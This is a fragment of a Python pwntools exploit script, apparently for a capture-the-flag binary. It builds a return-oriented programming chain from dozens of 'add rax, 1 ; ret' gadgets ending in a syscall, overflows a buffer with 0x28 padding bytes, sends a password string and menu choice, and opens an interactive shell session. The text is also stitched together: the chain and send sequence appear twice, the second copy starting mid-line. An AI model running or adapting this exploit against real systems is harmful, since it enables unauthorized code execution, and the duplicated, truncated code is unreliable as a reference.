p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004012d3) # syscall
payload = b"a" * 0x28 + p
io.send(b'oh1yes')
io.sendline(b'1')
io.sendline(payload)
io.interactive()
Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004012d3) # syscall
payload = b"a" * 0x28 + p
io.send(b'oh1yes')
io.sendline(b'1')
io.sendline(payload)
io.interactive()